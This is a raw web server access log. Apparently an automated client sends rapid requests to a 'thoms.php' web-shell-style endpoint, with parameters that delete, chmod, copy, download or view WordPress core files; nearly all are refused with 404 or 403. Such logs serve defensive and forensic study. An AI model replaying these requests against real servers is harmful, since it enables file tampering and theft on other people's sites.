45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?del=version.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=version.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?del=sodium_compat&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=sodium_compat&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=block-i18n.json HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=block-i18n.json" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-streams.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-http-streams.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-oembed-controller.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-user-meta-session-tokens.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?dl=l10n.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=l10n.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?chmod=rss.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=rss.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /thoms.php?chmod=sitemaps.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=sitemaps.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /biotaiwan.com.tw/wp-includes/abilities-api/ HTTP/1.1" 200 905 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:28 -0400] "GET /biotaiwan.com.tw/wp-includes/style-engine/ HTTP/1.1" 200 910 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?del=l10n&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=l10n&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-block-type-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?del=class-wp-customize-setting.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-customize-setting.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-http-cookie.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?dl=class-wp-dependency.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependency.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?dl=class-wp-http-encoding.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-http-encoding.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-http.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-http.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?del=class-wp-block-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?dl=class-wp-comment-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-comment-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?dl=class-wp-recovery-mode-email-service.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-recovery-mode-email-service.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-session-tokens.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-session-tokens.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-wp-url-pattern-prefixer.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?del=cron.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=cron.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-pattern-categories-registry.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /biotaiwan.com.tw/wp-includes/class.wp-dependencies.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?dl=default-constants.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=default-constants.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?chmod=class-json.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-json.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:29 -0400] "GET /thoms.php?chmod=class-wp-filter-sentinel.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-filter-sentinel.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?chmod=https-detection.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=https-detection.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?chmod=media.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=media.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Frss-functions.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Frss-functions.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /biotaiwan.com.tw/wp-includes/class-snoopy.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?del=images&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=images&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-customize-widgets.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?chmod=class-wp-block-type-registry.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-type-registry.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-theme-json-resolver.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?chmod=class.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class.wp-styles.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?chmod=error-protection.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=error-protection.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-settings.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fms-settings.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=block-editor.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=block-editor.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?del=bookmark.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=bookmark.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-pop3.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Fclass-pop3.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /biotaiwan.com.tw/wp-includes/registration-functions.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=pluggable.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=pluggable.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /thoms.php?del=post-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:30 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-feed-cache.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?chmod=images&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=images&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?chmod=cache-compat.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=cache-compat.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-text-diff-renderer-inline.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /biotaiwan.com.tw/wp-includes/fonts.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?dl=date.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=date.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffeed-rss.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Ffeed-rss.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=category.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=category.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?del=category.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=category.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?dl=class-wp-meta-query.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-meta-query.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?del=class-wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-scripts.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=cron.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=cron.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?del=ms-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=ms-deprecated.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?chmod=pluggable.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=pluggable.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /biotaiwan.com.tw/wp-includes/class-wp-block-processor.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?chmod=post-template.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-template.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?del=block-patterns.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-patterns.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-customize-manager.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=biotaiwan.com.tw%2Fwp-includes&view=class-wp-customize-manager.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /biotaiwan.com.tw/wp-includes/locale.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:31 -0400] "GET /thoms.php?dl=class-wp-navigation-fallback.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-navigation-fallback.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:32 -0400] "GET /thoms.php?dl=formatting.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=formatting.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:32 -0400] "GET /biotaiwan.com.tw/wp-includes/class-walker-page.php HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:55:32 -0400] "GET /thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Foption.php&p=biotaiwan.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=biotaiwan.com.tw%2Fwp-includes%2Foption.php&p=biotaiwan.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
